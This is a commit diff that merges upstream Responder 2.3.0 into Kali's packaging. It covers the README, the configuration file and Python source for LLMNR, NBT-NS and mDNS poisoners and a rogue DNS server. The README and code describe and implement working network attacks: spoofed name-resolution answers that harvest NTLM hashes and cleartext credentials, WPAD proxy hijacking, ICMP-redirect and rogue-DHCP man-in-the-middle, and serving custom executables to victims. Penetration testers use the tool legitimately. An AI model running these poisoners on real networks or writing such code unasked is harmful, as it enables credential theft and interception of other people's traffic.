Commit c5dc4dd3 authored by Sophie Brun's avatar Sophie Brun

Merge tag 'upstream/2.3.0+git20160905' into kali/master

Upstream version 2.3.0+git20160905
parents 2c4e9f2e e8d9d775
......@@ -2,10 +2,10 @@
LLMNR/NBT-NS/mDNS Poisoner
(Original work by Laurent Gaffie <lgaffie@trustwave.com> http://www.spiderlabs.com)
Author: Laurent Gaffie <laurent.gaffie@gmail.com > http://www.spiderlabs.com
## Intro ##
Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
......@@ -14,23 +14,23 @@ The concept behind this is to target our answers, and be stealthier on the netwo
## Features ##
- Built-in SMB Auth server.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.
- Built-in MSSQL Auth server.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
- Built-in HTTP Auth server.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
- Built-in HTTPS Auth server.
- Built-in HTTPS Auth server.
Same as above. The folder certs/ containa 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
- Built-in LDAP Auth server.
......@@ -40,48 +40,48 @@ In order to redirect LDAP Authentication to this tool, you will need to set the
This modules will collect clear text credentials.
- Built-in DNS server.
- Built-in DNS server.
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
- Built-in WPAD Proxy Server.
- Built-in WPAD Proxy Server.
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is higly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
- Browser Listener
- Browser Listener
This module allows to find the PDC in stealth mode.
- Fingerprinting
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect
- Icmp Redirect
python tools/Icmp-Redirect.py
For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
- Rogue DHCP
- Rogue DHCP
python tools/DHCP.py
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
- Analyze mode.
- Analyze mode.
This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
## Hashes ##
All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Responder will logs all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
......@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
......@@ -101,6 +101,16 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchcl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
## Usage ##
First of all, please take a look at Responder.conf and tweak it for your needs.
......@@ -145,7 +155,7 @@ Options:
## Copyright ##
NBT-NS/LLMNR Responder
......
......@@ -23,7 +23,7 @@ Database = Responder.db
; Default log file
SessionLog = Responder-Session.log
; Poisoiners log
; Poisoners log
PoisonersLog = Poisoners-Session.log
; Analyze mode log
......@@ -45,6 +45,14 @@ DontRespondTo =
; Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
; If set to On, we will stop answering further requests from a host
; if a hash hash been previously captured for this host.
AutoIgnoreAfterSuccess = Off
; If set to On, we will send ACCOUNT_DISABLED when the client tries
; to authenticate for the first time to try to get different credentials.
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = Off
[HTTP Server]
......@@ -52,7 +60,7 @@ DontRespondToName =
Serve-Always = Off
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
Serve-Exe = Off
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
......
......@@ -14,14 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import optparse
import socket
import thread
import time
import settings
import ssl
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread
from utils import *
banner()
......@@ -29,6 +26,7 @@ banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
......@@ -43,6 +41,10 @@ options, args = parser.parse_args()
if not os.geteuid() == 0:
print color("[!] Responder must be run as root.")
sys.exit(-1)
elif options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
parser.print_help()
exit(-1)
settings.init()
settings.Config.populate(options)
......@@ -157,87 +159,97 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_SSL(host, port, handler):
try:
from servers.HTTP import SSLSock
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if OsInterfaceIsSupported():
server = SSLSock((settings.Config.Bind_To, port), handler)
server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
else:
server = SSLSock((host, port), handler)
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
except:
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
def main():
try:
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
thread.start_new(serve_LLMNR_poisoner, ('', 5355, LLMNR))
thread.start_new(serve_MDNS_poisoner, ('', 5353, MDNS))
thread.start_new(serve_NBTNS_poisoner, ('', 137, NBTNS))
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
# Load Browser Listener
from servers.Browser import Browser
thread.start_new(serve_thread_udp_broadcast,('', 138, Browser))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP
thread.start_new(serve_thread_tcp,('', 80, HTTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS
thread.start_new(serve_thread_SSL,('', 443, HTTPS))
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy))
threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
if settings.Config.SMB_On_Off:
if settings.Config.LM_On_Off == True:
if settings.Config.LM_On_Off:
from servers.SMB import SMB1LM
thread.start_new(serve_thread_tcp,('', 445, SMB1LM))
thread.start_new(serve_thread_tcp,('', 139, SMB1LM))
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
else:
from servers.SMB import SMB1
thread.start_new(serve_thread_tcp,('', 445, SMB1))
thread.start_new(serve_thread_tcp,('', 139, SMB1))
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL
thread.start_new(serve_thread_tcp,('', 1433, MSSQL))
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
if settings.Config.FTP_On_Off:
from servers.FTP import FTP
thread.start_new(serve_thread_tcp,('', 21, FTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
if settings.Config.POP_On_Off:
from servers.POP3 import POP3
thread.start_new(serve_thread_tcp,('', 110, POP3))
threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP
thread.start_new(serve_thread_tcp,('', 389, LDAP))
threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
thread.start_new(serve_thread_tcp,('', 25, ESMTP))
thread.start_new(serve_thread_tcp,('', 587, ESMTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
if settings.Config.IMAP_On_Off:
from servers.IMAP import IMAP
thread.start_new(serve_thread_tcp,('', 143, IMAP))
threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
thread.start_new(serve_thread_udp,('', 53, DNS))
thread.start_new(serve_thread_tcp,('', 53, DNSTCP))
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
for thread in threads:
thread.setDaemon(True)
thread.start()
print color('[+]', 2, 1) + " Listening for events..."
......
......@@ -14,15 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket
import struct
import string
import logging
from utils import *
from odict import OrderedDict
from utils import color
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
......@@ -31,7 +27,6 @@ def OsNameClientVersion(data):
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
......
......@@ -77,7 +77,7 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,), inst_dict
return self.__class__, (items,)
def keys(self):
......
This diff is collapsed.
......@@ -14,28 +14,18 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
import fingerprint
from packets import LLMNR_Ans
from odict import OrderedDict
from SocketServer import BaseRequestHandler
from utils import *
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
return data[13:13+NameLen]
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
......@@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
elif ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNR(BaseRequestHandler):
class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
......@@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:
......
......@@ -15,8 +15,6 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import socket
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
......@@ -33,15 +31,14 @@ def Parse_MDNS_Name(data):
except IndexError:
return None
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
return data[:len(data)-5]
class MDNS(BaseRequestHandler):
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
......@@ -52,22 +49,15 @@ class MDNS(BaseRequestHandler):
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
# Poisoning Mode
else:
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
except Exception:
raise
\ No newline at end of file
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
\ No newline at end of file
......@@ -14,8 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint
from packets import NBT_Ans
......@@ -26,20 +25,15 @@ from utils import *
def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode:
return False
if NBT_NS_Role(data[43:46]) == "File Server":
elif NBT_NS_Role(data[43:46]) == "File Server":
return True
if settings.Config.NBTNSDomain == True:
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True
if settings.Config.Wredirect == True:
elif settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True
else:
return False
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
......@@ -54,19 +48,14 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == "\x01\x10":
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)
......
......@@ -14,30 +14,30 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import *
import struct
def WorkstationFingerPrint(data):
Role = {
return {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x05\x01" :"Windows XP",
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
"\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2",
"\x10\x00" :"Windows 10/Server 2016",
}.get(data, 'Unknown')
return Role[data] if data in Role else "Unknown"
def RequestType(data):
Type = {
return {
"\x01": 'Host Announcement',
"\x02": 'Request Announcement',
"\x08": 'Browser Election',
......@@ -48,30 +48,23 @@ def RequestType(data):
"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement',
}
}.get(data, 'Unknown')
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries):
if entries > 0:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = []
for x in ServerName:
FP = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '')
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
if entries <= 0:
return None
entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
return l
l = []
for x in ServerName:
fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '')
l.append('%s (%s)' % (name, fingerprint))
return l
return None
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
......@@ -80,9 +73,8 @@ def ParsePacket(Payload):
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return None
else:
return None
def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
......@@ -97,6 +89,7 @@ def RAPThisDomain(Client,Domain):
if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
......@@ -198,8 +191,7 @@ class Browser(BaseRequestHandler):
if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass
\ No newline at end of file
pass
......@@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import *
......@@ -24,13 +22,12 @@ def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
return QueryTypeClass == "\x00\x01\x00\x01"
# DNS Server class
class DNS(BaseRequestHandler):
def handle(self):
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
......@@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)